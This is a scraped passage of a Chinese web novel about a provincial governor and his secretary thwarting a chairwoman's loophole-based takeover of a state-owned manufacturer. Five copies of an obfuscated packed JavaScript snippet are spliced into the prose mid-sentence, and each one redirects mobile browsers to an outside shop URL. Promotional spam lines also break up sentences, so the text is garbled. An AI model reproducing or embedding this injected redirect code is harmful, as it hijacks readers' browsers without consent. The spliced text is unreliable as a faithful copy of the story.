“从前年赵丙燃老董事长去世,赵允接手华天精工后,就开始加大海外投资,导致在去年发生财务危机,导致股价严重下跌。 直到今年,股东大会以补充现金流方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138648|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式,定增了三次,推动企业混改,引入了三家私募入场,其私募股权皆有赵允代持。 并且,在这个期间,赵允借上市规则,以管理层股权激励的方式,拿下百分之八的股权,还牵头了国资股东放弃优先认购权,达到合规增持。 现在,国有股权占比,已经从原来的百分之五十一降到了百分之四十三。 赵允那边的一致行动人持股达到了百分之三十六,马上超越国资,成为了实际控制人! 周向阳举着股权架构图,将情况一五一十地介绍给孟良德。 孟良德在了解情况后,脸色阴云遍布。 李承的心情,也跟着沉闷 你的朋友正在书荒,快去帮帮他吧 几分。 看似,赵允和国资的股权差距还有百分之七,实则,这个差距一定比纸面上少。 “全部都是钻了规则的漏洞,合理合法的想要国资企业变成她赵家的个人资产,还抓不住把柄。 这个赵允,手段很高明呀!”孟良德严肃地说。 他们不怕那种违规转移的企业,就怕这种合理合规的规则漏洞转移。 一切符合正常流程,省里想干涉的空间,会被极大地压缩。 “孟省长,这件事还请您定夺,已经到了刻不容缓的地步,国资方面已经跟赵允撕破了脸。 接下来,他们的动手只会更快!”周向阳道。 “嗯。” 孟良德再次点燃了一根香烟,这种一波未平一波又起,让他也有些应接不暇。 他思索了很久,下令道:“审计厅立刻进驻华天精工,这次,不是查违法。 要查股权操作的合规性边界,盯紧每一笔资金的流向和代持关系,要断掉她后续的操作空间!” “明白。” 关于审计厅的工作安排,只有这一点。 但这并非是孟良德的全部安排。 只是其他安排,需要协调其他部门跟进,与审计厅无关。 周向阳汇报结束后,离开了省长办公室,去落实孟良德的命令。 李承站在一旁,看着孟良德沉重的表情,低声开口:“省长,上周三晚上,王前副厅长向我提起过华天精工的问题。” 第249章 私募情况 “王副厅长将华天精工的审计数据给我看过,的确,在数据上,华天精工做得可谓是天衣无缝。 后来,我提议让王副厅长查一下那三家私募基金的背景,这三家私募存在一些问题,我觉得值得重点关注,做一下私募穿透。” 李承缓缓说出自己的想法和建议。 上周五,李承关于华天精工的事件,又咨询了一下王前,了解到了关于这三家私募的情况。 “什么问题?”孟良德问。 “这三家私募基金的背后,占比最小的一家,是新领资本,他们在此之前,就对华天精工有长期投资。 想来,这次参与是看穿了赵允的把戏,进来分一杯羹。 占比第二的是私募,与李美娇的花海集团息息相关,基本可以确定是李美娇旗下的子公司。 而占比最大头的,是伟业资本,这家公司最有意思。 华天精工在国内的很大一笔闲置资金,投入了伟业资本PE类基金,锁定期是五年。 而这家私募成立时间,又与华天精工资金注入吻合。 从目前的情况来看,伟业资本就是在用华天精工的投资,来收购华天精工的股权!” 李承认真且严肃地做出了汇报。 他的分析,也恰巧说中了赵允的手段。 赵允在接管华天精工后,第一件事就是将大笔闲置资金,投入到了伟业资本,进行锁定。 目的,就是为了等赵允将接下来几步走完后,让伟业资本用华天精工的钱,通过定增的方式,来吸纳华天精工的股权。 达到她个人的增持目的! “用国资的钱,买她自己的股权,这个赵允也是敢想敢干呀!” 孟良德在听完李承的汇报后,眼神冷厉的几分。 赵允的这招,很高明。 高明的点,就在于她合理合法合规地完成了操作,让监管部门对她没办法。 “这位赵小姐在这方面,确实能力出众。” 孟良德提出的‘敢想敢干’是挖苦,但李承这句,是发自内心的赞叹。 ‘咚咚咚’ 两人谈话时,房门再次被敲响。 “进。” 得到孟良德许可,周向阳再次推门而进。 看到他折返回来,孟良德问:“向阳同志,还有什么事情吗?” “孟省长,我刚刚接到消息,华天精工对外公告,拟筹划重大资产置换,要将集团核心资产,装进其个人控股的港股公司。 并 听说看这本书的人都是很幸运的,分享后你的运气会更棒 且已经获得半数董事会同意,国资董事提出反对,却被以‘符合上市公司章程’为由驳回。 周向阳的这次折返,带回来的,却是一颗重磅**。 这也意味着,赵允已经彻底掀桌子,准备将华天精工打包成她个人资产! “行,我知道了。 孟良德微微点头,他看向李承,吩咐道:“李秘书,你现在跑一趟东江证监局,以‘上市国企国资安全’为由,暂停华天精工的资产置换审批! “好的,省长。 “对了,告诉证监局的同志,要合规卡停,不要硬碰硬。孟良德嘱咐道。 华天精工已经掀了桌子,但省政府方面,还不宜现在撕破脸。 “好。李承答应。 “让王师傅送你过去。 前往证监局的路上,李承一直在思考一个问题。 这个问题,已经困扰了他几天,他仍想不通。 从李承上任以来,基本上遇到的企业问题,统统与花海集团和李美娇有关。 这个李美娇的背景到底有多大,能够涉及到这么多上市企业,国资企业! “王师傅,你是老汉江人对吧?李承想不通,索性跟王师傅闲聊起来。 “嗯,对。 “在你眼里,花海集团是什么样的企业?李承随口问。 “那肯定是汉江的新兴龙头企业呀,李美娇一个女人也是够厉害的,短短十几年,就缔造出一个庞大的商业帝国。 王师傅一边开着车,一边将自己心中最直观的想法,说了出来。 “那如果有一天,这个商业帝国崩塌了呢,你觉得会有什么影响?李承再次追问。 “嗯我觉得没什么影响吧,它的资产肯定会被其他企业接手,对老百姓来讲,吃穿住行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138649|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就足够了。 那些企业换谁当老板,都没什么区别。王师傅道。 “嗯,也对。 十五分钟后,二号专车抵达东江证监局。 东A·00002的车牌,就是一张全省机关单位的通行证,走到哪里,都是畅通无阻。 在来之前,李承已经给证监局打过电话,表明要来访。 “牛局长,您好。 来到局长办公室,李承主动上前跟对方握手。 “李处长,好久不见。 牛力站起身,跟李承握手后,做出请的手势:“坐。 牛力之前去省政府跟孟良德谈过话,李承和他见过面。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 “牛局长,我这次过来是省长让我向您传达工作安排,有关华天精工。”李承说。 “暂缓华天精工资产置换的事情吧?” 牛力的父亲就曾是证监会驻东江省特办处担任特派员(一把手)。 04年同一将地方特办处更名为证监局后,牛力也进入了证监会工作,一步步做到了证监局局长的位置。 他出生在这样的世家,又有丰富的经验,当李承提到华天精工时,他就已经猜到了李承此行的目的。 “嗯,对。”李承微笑点头。 “那我就以‘上市国企国资安全’为由,暂停华天精工的资产置换审批,你看怎么样?” 李承还没等开口,牛力已经抢先一步,说出了孟良德的要求。 这不禁让李承有种错觉,孟良德会不会电话里已经通知了? “牛局长料事如神,孟省长就是怎么要求的。” 李承称赞道,并将孟良德的叮嘱也说了出来:“省长说,要合规卡停,不要硬碰硬。” “嗯,简单,想要叫停他们,我有一百种理由。”牛力满不在意地说。 作为证监局的一把手,凭借他的丰富经验,和对规则的掌控,他想暂停审批,简直是信手拈来。 他递了一根香烟给李承,郑重其事地说:“李处长,你让孟省长放心,只要有我在,华天精工的资产转移,绝不可能实现!” 第250章 精准拦截 回到省政府。 李承敲门进入省长办公室,准备汇报工作,看到副省长谢威也在。 两个人正在谈论工作,李承也就没有出言打扰。 他看了一眼孟良德的水杯,确认里面还有很多水后,拿起纸杯倒了杯水给谢威。 做完这些,他便准备离开。 省部级领导之间的谈话,没有省长许可,他不适合在旁边听。 “李秘书,你就留在这里吧。孟良德道。 “好的省长。 李承闻言,停住脚步,站在孟良德的身侧。 “谢威,华天精工出现这种严重的问题,到现在为止,我为什么没有听到你的汇报? 若不是审计厅那边查出问题,华天精工就要沦为她赵允的个人资产! 孟良德当着李承的面,对谢威进行了痛批。 就因为谢威是他的人,他也有心扶持谢威,才会如此毫不客气地表达不满。 谢威的分管工作,除了工信和商务之外,国资委也在他的分管工作中。 “孟省长,这是我的工作疏忽。 他分管的工作很多,肩膀上的担子重,难免会疏忽。 出现问题时,华天精工的国资股东也并没有第一时间向他汇报,这才导致了今天的局面。 虽说,谢威也有苦楚,可毕竟是他分管的工作出了事,他必须要担起责任。 “当初华天精工激励管理层认购股权时,国资方为什么主动放弃认购优先权?孟良德追问。 正是因为国资放弃优先认购,才导致那百分之八的股权,流向了赵允的个人口袋。 “这件事我问过王桂川,他说放弃优先认购,是为了促进企业的发展。 他说,当初赵允告诉他,是一位长期战略合作伙伴要认购,为了达成更长久的商业互利和企业发展,国资方面才选择了放弃。 王桂川是驻华天精工的国资代表。 发生这件事后,谢威第一个要问责的人,就是他。 这也是对方给出谢威的合理解释。 国资放弃认购,并不罕见。 国资方和个人股东不同,个人股东在意的是自身利益,通常不会愿意放弃对优质企业的优先认购权。 但国资要考虑长远的企业发展,规划持久性的战略。 合作伙伴认购,这对于企业产品的制造和供应稳定是利好,属于长远的战略投资。 赵允以此为由,劝说国资方放弃 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 认购,正常不过。 “我不管这个王桂川是不是出于企业发展考虑,你给我去查,联合纪委的同志一起查。 我要知道,他到底是为企业考虑,还是私下达成了某种协议! 孟良德态度严肃地吩咐。 他不相信,一位国资代表,会在一个企业已经展露出‘病态’的情况下,还会选择放弃优先认购。 王桂川能作为国资代表出席,他就不是三岁小孩,不应该会被轻言蒙蔽,犯下这种错误! “好的省长,我一定严查此事。谢威应道。 “谢威,你牵个头,组织一场饭局,我亲自会一会这位新任的赵董事长! 孟良德说话时,低头看了一眼手腕上的时间:“今天太晚了,就定在明天吧。 “好。 “对了,见面时先不要提其他,以暂缓资产置换为主,不揭穿他代持的把戏。孟良德再次叮嘱。 “明白。 晚上,送孟良德回迎宾馆后,孟良德邀请李承一起共进晚餐。 两人吃过饭,孟良德提议要下盘棋。 李承的工作就是照顾好领导,包括哄领导开心,也是他工作范畴的一部分。 “老板,这次您就不用让着我了,最近一段时间,我可有精进自己的技术。 李承坐在孟良德的对面,笑呵呵的道。 围棋是孟良德的爱好,但每次跟李承下棋时,孟良德都会故意放水。 因为李承在围棋方面,实在是太菜了。 故意放水等同于无趣的虐杀,不能给孟良德带来那种博弈的快乐,为此,李承特意精进了棋技。 “那我倒是要看看,你会不会青出于蓝呀。 孟良德说话时,娇娇已经摆放好了棋盘。 “你持黑子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138650|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在孟良德的安排下,李承以黑子先下,没有下敬手,直接抢三三。 三三是围棋里唯一一手能单独守牢一个角的点,抢下这里,后续对手就很难抢走这块地盘。 属于低风险,高回报的落位。 孟良德让他先下,就是让他个先手优势。 李承如果再下敬手,就显得过于奉承,脱离了这场以‘娱乐博弈’的本质。 孟良德双指夹起白棋,指尖移至黑三三外侧的小目位上。 紧接着,李承持黑以守角生根,开拆扩边,发展进攻。 而孟良德,每次都能精准堵截,限制李承向外扩展的空间,压头固势。 一番焦 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 灼的围棋对决中,李承只觉得,自己下的每一步棋,都仿佛牢牢掌控在孟良德的预期之内。 像是大闹完天宫的猴子,哪怕一个跟头十万八千里,也逃不出如来的掌心。 半个小时后,最终李承依旧以落败而告终。 “不错呀,最近棋技确实长进了很多。”孟良德接过娇娇递来的水杯,喝了一口。 “唉再怎么长进,老板您的棋技也是我不能企及的高度。”李承叹了口气,表现出一副对输棋的无奈。 顺便,拍了一个马屁。 孟良德最开始说,要看看李承能不能青出于蓝而胜于蓝。 李承在结束后,回应了他这句话。 他说的不止是围棋的技术,也是官场上的高度。 孟良德淡淡一笑,目光落在了棋盘上,他指了指李承的第一步棋:“你的这步棋,与赵允下的棋,路数相似呀。 她想资产置换,以为占了先机,就能把公家的东西划进自己的口袋里。” “那我们接下来怎么做?”李承问。 孟良德以棋为引,谈论起华天精工的局势,李承也细细思考起来。 虽说,孟良德已经做好了应对策略,但目前而言,还都是缓兵之计。 而非真正意义上的直击要害! “外头漏了势,她走一步,我们堵一步,她耗不过,也钻不了空子!” 第251章 国资底线 个人想跟政府斗,达到胜天一棋的局面,基本不可能。 赵允看似目前占据上风,却是以牺牲企业长远发展,和她与股东的暂时利益作为代价。 她这么一折腾,从公司整体讲,对股价和投资者,都有影响。 只要政府部门堵住她的路,持续消耗下去,最先抗不住的,一定是她和她的一致行动人。 “可是,她的产业置换,是合法合规,就算证监会那边拦截,怕也只是时间问题。 万一她坚持苦熬,我们下一步该如何应对? 李承以请教的姿态,询问孟良德。 这一点,是李承没想通的,也是他在此事中,最担忧的情况。 合法合规,就算证监会阻挠,按照规定也有一个结束的时间节点。 时间一到,该走的流程,还是需要走。 “她披的是规则外衣,我们同样可以用规则来制衡。 孟良德眼眸深邃,在他心中已经做好了万全的准备。 闻言,李承也没再追问。 他对于股市的规则并不懂,也从未深度研究后,就算孟良德跟他解释,他也听不懂。 反而会让孟良德白费口舌,浪费老板的时间和耐心。 离开迎宾馆。 回家的路上,李承接到了陈锋的电话。 “李处长,您在忙吗?陈锋笑盈盈地问。 “陈总,有什么事情吗? 自从在会议上,李承被徐铁生点名谈论他勾结商人后,他对于陈锋的来电,就变得更加谨慎。 “我新开了一家酒吧,还没有开始试营业,想请李处长过来体验一下,帮我提提意见。 陈锋邀请道,他是醉翁之意不在酒。 “我基本不去这种场所,帮你提不了什么意见,陈总,你还是换个人吧。 李承婉拒了他。 这种敏感时刻,他更要与陈锋保持距离。 “上次跟您提起的事情您还记得吗?据京城那边的消息,您老板的任职问题,基本有了定论。 陈锋抛出了一个让李承不得不为之多虑的消息。 上次,陈锋提过,说孟良德大概率要工作调动。 他能帮助李承做未来打算,保障李承在失去孟良德这座靠山后,仍能留在汉江,且不失势。 而现在,他告诉李承,孟良德的岗位调动基本有了定论,就是想谈那笔合作。 李承从他的话语中推断,多半孟良德是要回京。 听闻 你的朋友正在书荒,快去帮帮他吧 此言,李承陷入了迟疑。 若是孟良德真要回京城任职,李承不得不为自己的未来考虑。 而现在,就是交投名状的最佳时机。 等文件下来,消息确定,也就晚了。 思索了片刻,李承还是选择了拒绝:“陈总,我就是一个端茶倒水的秘书,帮不到你们什么忙,算了。 我这边还有其他事情,就先挂了。 说完,李承直接挂断了的电话。 上次会议被针对,给李承提了一个醒。 无论如何,保证自身‘干净’,至少不会落入一个绝境! 哪怕被调到偏远地区,哪怕到了清水衙门,坐了冷板凳,自己还有一位省部级领导做靠山,早晚会有翻身的可能。 在这一刻,李承瞬间顿悟了。 他也不再担心孟良德回京后,会对他自身仕途造成什么影响。 只要跟住孟良德的步伐,剩下的人死鸟朝天,爱咋咋的呗。 次日晚。 牡丹会的一号贵宾包厢,在谢威的牵头下,孟良德与华天精工董事长赵允会面。 参与这场宴会的人,有孟良德,谢威,国资方代表王桂川,赵允,CEO卢东孝,以及赵允的秘书。 李承作为孟良德的秘书,也一同参与到这场饭局中。 酒局开始,免不了一阵寒暄。 “都说女子不如男,可自从赵董上任后,在她的大力推动改革下,华天精工的业绩是蒸蒸日上,远比很多男同志要有胆魄嘛,呵呵呵 孟良德在与赵允喝过一杯酒后,笑呵呵地对众人说。 “赵董是经济学博士,一些理念,远超常人。王桂川出言附和孟良德。 “孟省长您就别挖苦了我,虽说在我的管理下,主营业绩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138651|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得到上升,但投资却是一败涂地,还要靠定增救市。 我父亲若是在天有灵,一定会骂死我的。 赵允摆了摆手,莞尔一笑。 “主营产业才是企业的根基,华天精工作为我们东江的老牌国资企业,遇到任何困难都可以向政府请求帮助。 政府一定会在最大限度上,对你们进行扶持。 孟良德特意强调华天精工是国资企业,就是在侧面告诉赵允,国资安全是底线! “既然孟省长如此开明,我也确实有一事需要政府帮助。 赵允放下手中的筷子,拿起一张纸巾,轻轻擦掉红唇上油渍,说:“今天下午,审计厅进驻集团调查。 想必您也清楚,我 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 们拟草的资产置换和股权操作,都属于正规流程,审计厅要查,我是欢迎的,但总归影响不好。 怕是要影响股价和外省投资,这对集团和国资,都是不利的。” 听闻此话,坐在角落中的李承也是一阵错愕。 他没想到赵允居然这么会借坡下驴,毫不避讳地提及此事。 “审计厅不是在找茬,他们进驻华天精工是我下达的命令,赵董,国资安全是底线。 审计厅也是在帮你规范流程,免得后续有更大的麻烦。” 孟良德语气平和。 两个人都在暗中较劲,其实,彼此的想法对方都心知肚明,却还要伪装一下。 “赵董,核心资产的置换不是儿戏,而且,现在股价处于低迷阶段,在这个阶段做置换,对企业,对国资,对你和全体股东,不是什么利好消息。” 谢威开口,进行了补充。 “孟省长,我接下来的话可能会冒犯到您,但也希望您不要介意。” 赵允伶俐的目光看着孟良德,微笑说。 “但说无妨。” “我和我的股东会,并不看好东江省的发展,虽然东江近年来,一直在喊着振兴东江的口号。 可整体趋势还是在走下坡路,我认为,振兴东江的口号,不过是自我蒙蔽的方式。” 第252章 增加筹码 “在座的各位领导应该心里都十分清楚想要振兴东江的难度当然我不是否定各位领导的能力。 是在宏观发展下东江省将沦为那个牺牲品。 以东江的资产置换临海省的资产从长远的企业发展角度来看 在我对华天精工的发展规划中未来主营方向是海外市场我提出的产业置换是在提前布局。” 赵允给自己的资产转移行为贴上了一个合情合理的发展标签。 她一个女子不到四十岁的年纪却能在孟良德这种封疆大吏面前做到进退有度游刃有余。 绝非等闲之辈。 可她的说辞看似头头是道。 但在孟良德等人的眼里无非就是借口。 别说她是在资产转移就算她真的在为企业发展做考虑想要企业迁移至临海省孟良德也绝不同意。 华天精工毕竟是纳税大户站在东江省的发展考量也绝不会放她走。 “赵董长远发展是未来蓝图眼下我们应该务实于实际情况这次资产置换不利于国资安全。 我可以很明确地告诉你政府与国资委都是反对意见。” 孟良德直接亮出说明底线他在用坚定的态度打破赵允的幻想。 “资产置换是董事会投票决定这是我们企业的内部发展问题。”赵允态度同样坚定。 她在侧面暗指孟良德手伸得太长管得太宽。 不该干涉他们企业的内部决定。 “那就烦请赵董将政府的态度转达董事会。”孟良德说。 “嗯我会的。” 赵允眯起眼睛温和一笑她端起酒杯:“孟省长我敬您。” 这场饭局基本以不欢而散而告终。 出了牡丹会孟良德叫住谢威:“谢威你跟我来一下。” “好。” 谢威点头跟着孟良德走向二号专车。 李承为孟良德拉开车门待到两人上车后他也坐进了副驾驶。 “你让国资委和专业评估机构对华天精工的置换资产进行一次具体评估。” 孟良德倚靠在座位上缓缓说道。 “省长您的意思是增加置换筹码?” 谢威推测到孟良德的想法开口询问。 “对要让赵允清楚置换的代价。”孟良德道。 “我明白。” “赵允的野心很大看样子她是不见黄河心不 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 死!” 孟良德脸色阴沉他今天能邀请赵允共进晚餐已经算是一种让步。 如果这个时候赵允提出一些条件允许下的要求孟良德会满足她。 可她偏偏仍要动摇国资根基这触碰到了孟良德的底线。 国资安全这条红线绝不能妥协。 “也是时候该亮剑了。”谢威附和。 李承虽对股市金融这些涉及浅薄但他通过孟良德与谢威的对话也明白其中意思。 孟良德是准备用评估的方式抬高华天精工置换资产的价值。 增加赵允在港股方的置换投入。 如果赵允执意置换她会付出更大的代价。 这个代价达到一定程度时资产置换不及赵允的预期在政府干涉的各种施压下赵允和股东会便会考虑退缩。 李承晚上没有喝酒送孟良德回到迎宾馆后他开着车也朝家的方向赶去。 他的这条回家路线每次都能路过一个名为ECHELON的酒吧。 这家酒吧是汉江最火的酒吧据说氛围感超好。 每天路过这里门口都停满了各式各样的豪车。 李承从未进去感受过他也不喜欢那种乱哄哄的地方。 但每次晚间路过时也都会忍不住地点几脚刹车欣赏一下进进出出的各种美女。 美丽的人和物都会引人注目。 这些都是过眼云烟李承也只是看看。 但这次李承却停下了车。 因为在酒吧的门口李承看到了一个熟悉的身影正在招手打车。 她的脸上充满了焦急之色。 “有什么急事吗?我送你。” 李承将车停在女人的面前拉开车门下了车对她微笑示好。 “呀是李秘书呀。” 女人看到是李承娇美的脸上洋溢出灿烂笑容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138652|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也不客气拉开车门坐在副驾驶:“辛苦李秘书送我回一趟家快点哈我姥姥要发火了。” “许小姐你这个年纪还有宵禁吗?”李承系上安全带 这个女人正是裴国弘老**的外孙女许诗悦。 上次在落英山干部休养所两个人见过李承对这位大小姐的印象很不错。 “没办法家教很严的晚上十点前必须回家是规定已经超时了。”许诗悦耸了耸肩无奈地说。 像她这种家庭对于孩子的管教十分严苛。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 对于许诗悦来说,这种严管是束缚。 可在长辈们看来,他们经历了太多人性险恶,也了解这个社会的现状,他们怕许诗悦受到伤害。 “像你这种家庭背景,心怀不轨接触你的人会很多,他们是为你好。”李承说。 许诗悦的姥爷是曾经东江省一把手,她父亲也是位厅局级干部。 想要通过许诗悦,来接触到这个权力世家的人很多。 想要靠着倒插门,攀高枝的人,也很多。 “他们管得太宽了,导致我都没几个好朋友,到现在连场恋爱都没有谈过。” 许诗悦看着窗外的风景。 她觉得自己就像被关在牢笼中的小鸟,衣食无忧,却又失去自由。 她想要自由! “恋爱也不让谈吗?你到谈恋爱的年纪了呀。”李承诧异。 许诗悦也有二十四五岁,按理说,不该限制恋爱权力。 “现在都是恋爱自由,可他们还是想着包办婚姻的那一套,我之前喜欢过的男生,他们都不同意。 他们不让,对方也不敢跟我多接触了。”许诗悦叹了一口气,惆怅地说。 在绝对权力的威慑下,没有哪个男生会敢冒着得罪权力巅峰的情况下,去谈恋爱。 换位思考,就算是李承,也不敢接触许诗悦这种家庭的女孩。 “他们也是为你好。” 李承不知道这么安慰她,只好这么说。 “李秘书,你谈过恋爱,跟我讲讲真实感受呗?” 第253章 私募穿透 许诗悦没有亲身体会过恋爱,在她以前的印象里,恋爱和婚姻,就是相敬如宾。 因为她的祖父辈,父亲辈,夫妻之间都是相敬如宾的交流方式。 最亲密的关系,反而显得格外疏远。 那是因为,他们家庭的婚姻状况,都是门当户对的**婚姻。 可从电视剧,和身边朋友的恋爱中了解,她发现恋爱是一件很幸福的事情,是人性本能驱动下多巴胺快乐。 “遇到自己爱的人,恰巧这个人也爱你,那绝对是人生幸事。 两个人亲密无间到如同一个人,在她面前,可以自由自在地活成自己,不需要任何的掩饰,无论有什么坏毛病,在对方眼里都是可爱的表现。 对方能接纳你的任何小脾气,小癖好,也会陪着你疯,陪着你闹。 见到她,就会开心,她在身边就会忍不住地靠近,很开心,就像一个漂泊的船,有了自己的港湾。 李承没有隐瞒,将自己的恋爱感受分享给了许诗悦。 许梦对于他的人生,很重要。 许梦的出现,填满了他那颗空虚的心。 “听着还不错,真不知道什么时候能碰到自己的爱情,唉.可能一辈子都碰不到。 许诗悦叹了口气。 “会的,总有一天你会遇到家人满意,又彼此相爱的正缘。李承宽慰道。 “借你吉言。 夜晚车流量较少,原本四十分钟的路程,二十分钟左右就到了。 汽车停在落英山干部休养所大门前,为了避免打扰里面的干部休息,汽车是不能开进内部的。 “我能加你一个微信吗? 许诗悦主动拿出手机,小心翼翼地询问。 作为《东江问政》的忠实粉丝,她对李承和许梦的印象都很好,也希望能交下这两位做朋友。 “好呀。 李承打开扫一扫功能,添加了她的好友。 “有机会,叫上许梦,我们一起吃饭呗。许诗悦邀请道。 “嗯,没问题。 李承微笑点头,他的目光扫到了休养所的门口,不知什么时候,裴国弘走了出来,就站在那里:“快回去吧,你姥爷都出来了。 “拜拜,李秘书。 许诗悦下了车,冲李承摆了摆手。 李承略微迟疑一下,也拉开车门下了车,对裴国弘打了个招呼:“裴**。 “是小李呀。 裴国弘很诧异,为什么送外孙女 听说看这本书的人都是很幸运的,分享后你的运气会更棒 回家的人是李承。 对此李承立马给出了解释:“刚才在路上我碰到了许小姐这么晚不好打车我就给她送回来了。” “嗯辛苦你了。” 裴国弘微微点头看向许诗悦语气严肃:“你看看都几点了?” “姥爷没有出租车呀我在外面站了半个多小时呢冷**。”许诗悦走到裴国弘身边拽住他的胳膊撒了撒娇。 “快回家吧。” 裴国弘这位老**也抵挡不住许诗悦的撒娇态度缓和。 目送两人离开李承这才上了车朝家的方向赶去。 在证监会的干预下华天精工提出的资产置换被暂停了。 对此也引发了一定的市场恐慌主力资金通过VIP通道跑了一部分资金。 导致股价跌幅超八个点。 赵允没有谈判的良好态度孟良德也不会再主动会见赵允。 将试探赵允的事情交给了李承。 这天下午两点。 李承带着核查清单来到华天精工的董事长办公室。 办公室十分气派大大的落地窗可以一览整个华天精工厂区。 但全实木装修却并不符合赵允这位商业年轻女强人的气质。 “赵董李秘书来了。” 赵允的秘书将李承请进办公室对赵允汇报。 “嗯。” 对此赵允仍在专注地看着手中文件对于李承的到来采取了无视的态度。 放眼全省的企业家敢对李承这位省政府的‘二号**’以无视态度应对的屈指可数。 看着对方压根没有搭理自己的意思李承不气不恼。 他打开手提包将一沓文件推到赵允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138653|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前:“赵董这份文件您看一下。 孟省长建议您要慎重资产置换如果您还一意孤行可能对公司及您个人不是一件好事。” 李承开门见山话语中带着威胁之意这不禁让赵允微微皱起眉。 “放那吧。” 赵允还是故意凉了李承一分钟这才不紧不慢地合上手中文件。 拿起了李承带来的核查清单。 大致审阅完赵允柳眉皱得更深她抬起头美眸落在李承身上:“李秘书坐。” “坐就不必了谈完之后我还有回去。” 进门这么久对方才给自己看座 他是代表省政府过来对方这般无视他也要维护好 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 颜面。 他没有坐,也没有像下属一样站在赵允面前,而是走到了落地窗前,俯视整个厂区。 这个动作,看似随意。 实际上,是通过站位的变化,拉齐与赵允的身份差距。 “李秘书,你们审计厅查了这么久,企业的操作都合法合规,为什么非要揪着私募穿透不放呢?” 赵允被迫转动椅子,从面向办公桌,转移到面向李承。 “赵董,三家私募中,占比最高的是伟业资本,但这家私募涉及国资资金的委托理财流向。 按照上市公司信息披露管理规则和审计监管要求,穿透核查最终受益人是常规流程,不是针对您和贵公司。” 李承语气平静,却无半点让步之意。 是不是针对赵允和华天精工的行为,彼此都心知肚明。 “审计厅核查发现,伟业资本的成立时间,与华天精工注入资金的时间高度吻合。 不做穿透,无法确定是否存在关联交易未披露的情况,这不是小事,证监会的要求,您这位‘金融专家’比我清楚。” 听完李承的讲述,赵允从老板椅上站起身。 她踩着高跟鞋,缓步走到李承身边:“李秘书,私募穿透涉及商业机密,政府坚持这么做,会影响后续的资本运作,同样不符合行业惯例。” 第254章 金条 “赵总,您说笑了。” 李承转过身,面向赵允。 两人四目相对,彼此的目光里,都带着对于己方目标的坚定。 